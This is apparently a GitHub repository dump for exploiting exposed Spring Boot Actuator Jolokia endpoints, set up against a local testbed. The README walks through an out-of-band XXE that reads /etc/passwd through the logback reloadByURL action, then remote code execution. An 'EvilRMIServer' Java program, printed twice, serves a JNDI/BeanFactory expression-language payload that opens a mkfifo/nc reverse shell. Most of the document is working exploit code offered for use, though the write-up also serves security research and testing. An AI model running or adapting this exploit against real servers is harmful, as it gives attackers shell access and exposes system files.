├── .gitignore ├── .gitmodules ├── README.md ├── logback.xml └── maliciousRMIServer ├── .gitignore ├── LICENSE ├── README.md ├── pom.xml └── src └── main └── java └── hello └── EvilRMIServer.java /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled class file 2 | *.class 3 | 4 | # Log file 5 | *.log 6 | 7 | # BlueJ files 8 | *.ctxt 9 | 10 | # Mobile Tools for Java (J2ME) 11 | .mtj.tmp/ 12 | 13 | # Package Files # 14 | *.jar 15 | *.war 16 | *.ear 17 | *.zip 18 | *.tar.gz 19 | *.rar 20 | 21 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 22 | hs_err_pid* 23 | 24 | **/.idea 25 | **/*.iml 26 | 27 | **/target 28 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "actuator-testbed"] 2 | path = actuator-testbed 3 | url = https://github.com/artsploit/actuator-testbed 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Spring Boot Actuator (jolokia) XXE/RCE 2 | 3 | Information and payload from the following article: https://www.veracode.com/blog/research/exploiting-spring-boot-actuators 4 | 5 | **Edit 28/02/2020**: another article to achieve RCE using H2 Database [Remote Code Execution in Three Acts: Chaining Exposed Actuators and H2 Database Aliases in Spring Boot 2](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) 6 | 7 | Tested on Spring Boot Actuator < 2.0.0 and Jolokia 1.6.0. 8 | 9 | If you have access to the following ressource `/actuator/jolokia` or `/jolokia` with Spring Boot Actuator and the following ressource: **reloadByURL**, this writeup can help you to exploit an XXE and ultimately and RCE. 10 | 11 | ### Setup the environment: 12 | 13 | ```bash 14 | git clone https://github.com/artsploit/actuator-testbed 15 | cd actuator-testbed 16 | mvn install 17 | mvn spring-boot:run 18 | ``` 19 | 20 | ### 1. The jolokia XXE 21 | 22 | If the action **reloadByURL** exists, the logging configuration can be reload from an external URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:1337!/logback.xml 23 | 24 | The XML parser behind logback is SAXParser. We can exploit this feature to trigger an XXE Out-Of-Band Error based using the following payload: 25 | 26 | ```xml 27 | # file logback.xml from the server 127.0.0.1:1337 28 | 29 | %remote;%int;]> 30 | &trick; 31 | ``` 32 | ```xml 33 | # file file.dtd from the server 127.0.0.1:8080 34 | 35 | "> 36 | ``` 37 | 38 | The server responds with an error and the content of the file `/etc/passwd` is directly contained in it: 39 | 40 | ![image](https://user-images.githubusercontent.com/5891788/53958395-3c992700-40e1-11e9-9c79-0719613046f0.png) 41 | 42 | ### 2. Jolokia RCE 43 | 44 | Exploiting an XXE is always nice but a RCE is always better. 45 | Instead of loading a _fake_ XML we can send a legit XML configuration file to logback and fully exploit the feature. 46 | 47 | 1. We ask to jolokia to load the new logging configuration file from an external URL 48 | 2. The [logging config](https://logback.qos.ch/manual/configuration.html#insertFromJNDI) contains a link to a malicious RMI server 49 | 3. The malicious RMI server will use a [template expression](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) vulnerability to execute code on the remote server 50 | 51 | > In other words, JNDI is a simple Java API (such as 'InitialContext.lookup(String name)') that takes just one string parameter, and if this parameter comes from an untrusted source, it could lead to remote code execution via remote class loading. 52 | 53 | https://www.veracode.com/blog/research/exploiting-jndi-injections-java 54 | 55 | Content of the logback.xml file: 56 | 57 | ```xml 58 | 59 | 60 | 61 | ``` 62 | 63 | Since my JDK is > 1.8.0_191 it's not possible to directly execute code using the RMI Service, so instead I will use this technique: https://www.veracode.com/blog/research/exploiting-jndi-injections-java 64 | 65 | Then the next step is to create a vulnerable RMI service: 66 | 67 | ```java 68 | import java.rmi.registry.*; 69 | import com.sun.jndi.rmi.registry.*; 70 | import javax.naming.*; 71 | import org.apache.naming.ResourceRef; 72 | 73 | public class EvilRMIServer { 74 | public static void main(String[] args) throws Exception { 75 | System.out.println("Creating evil RMI registry on port 1097"); 76 | Registry registry = LocateRegistry.createRegistry(1097); 77 | 78 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory 79 | ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); 80 | //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code 81 | ref.add(new StringRefAddr("forceString", "x=eval")); 82 | //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows 83 | ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f']).start()\")")); 84 | 85 | ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); 86 | registry.bind("jndi", referenceWrapper); 87 | } 88 | } 89 | ``` 90 | pom.xml to compile this project: 91 | ```xml 92 | 93 | 95 | 4.0.0 96 | 97 | org.springframework 98 | RMIServer 99 | 0.0.1 100 | 101 | 102 | org.springframework.boot 103 | spring-boot-starter-parent 104 | 2.0.0.RELEASE 105 | 106 | 107 | 108 | 109 | org.springframework.boot 110 | spring-boot-starter-web 111 | 112 | 113 | 114 | 115 | 1.8 116 | 117 | 118 | 119 | ``` 120 | Then when the two malicious servers are UP we can call the ressource ReloadByURL: 121 | 122 | http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:1337!/logback.xml 123 | 124 | Then the template expression is executed and you get a reverse shell: 125 | 126 | ![rc2](https://user-images.githubusercontent.com/5891788/53965875-49724680-40f2-11e9-894f-76267af8a0cf.png) 127 | 128 | **Edit** Another writeup to exploit Jolokia https://blog.it-securityguard.com/how-i-made-more-than-30k-with-jolokia-cves/ 129 | 130 | ## Ressources: 131 | * https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf 132 | * https://www.veracode.com/blog/research/exploiting-jndi-injections-java 133 | * https://www.veracode.com/blog/research/exploiting-spring-boot-actuators 134 | * https://github.com/artsploit/actuator-testbed 135 | * https://xz.aliyun.com/t/4258 136 | -------------------------------------------------------------------------------- /logback.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /maliciousRMIServer/.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled class file 2 | *.class 3 | 4 | # Log file 5 | *.log 6 | 7 | # BlueJ files 8 | *.ctxt 9 | 10 | # Mobile Tools for Java (J2ME) 11 | .mtj.tmp/ 12 | 13 | # Package Files # 14 | *.jar 15 | *.war 16 | *.ear 17 | *.zip 18 | *.tar.gz 19 | *.rar 20 | 21 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 22 | hs_err_pid* 23 | 24 | **/.idea 25 | **/*.iml 26 | 27 | **/target -------------------------------------------------------------------------------- /maliciousRMIServer/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Darien 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /maliciousRMIServer/README.md: -------------------------------------------------------------------------------- 1 | # Spring Boot Actuator Hello-world 2 | Simple Spring Boot Actuator REST-full service 3 | 4 | # Compiling, unit test and package 5 | 6 | ``` 7 | $ mvn clean install 8 | ``` 9 | 10 | # Running 11 | ``` 12 | $ java -jar target/RMIServer-0.1.0.jar 13 | ``` 14 | -------------------------------------------------------------------------------- /maliciousRMIServer/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | org.springframework 7 | RMIServer 8 | 0.1.0 9 | 10 | 11 | org.springframework.boot 12 | spring-boot-starter-parent 13 | 2.0.0.RELEASE 14 | 15 | 16 | 17 | 18 | org.springframework.boot 19 | spring-boot-starter-web 20 | 21 | 22 | 23 | 24 | 1.8 25 | 26 | 27 | 28 | 29 | 30 | org.springframework.boot 31 | spring-boot-maven-plugin 32 | 33 | 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /maliciousRMIServer/src/main/java/hello/EvilRMIServer.java: -------------------------------------------------------------------------------- 1 | 2 | import java.rmi.registry.*; 3 | import com.sun.jndi.rmi.registry.*; 4 | import javax.naming.*; 5 | import org.apache.naming.ResourceRef; 6 | 7 | public class EvilRMIServer { 8 | public static void main(String[] args) throws Exception { 9 | System.out.println("Creating evil RMI registry on port 1097"); 10 | Registry registry = LocateRegistry.createRegistry(1097); 11 | 12 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory 13 | ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); 14 | //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code 15 | ref.add(new StringRefAddr("forceString", "x=eval")); 16 | //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows 17 | ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f']).start()\")")); 18 | 19 | ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); 20 | registry.bind("jndi", referenceWrapper); 21 | } 22 | } --------------------------------------------------------------------------------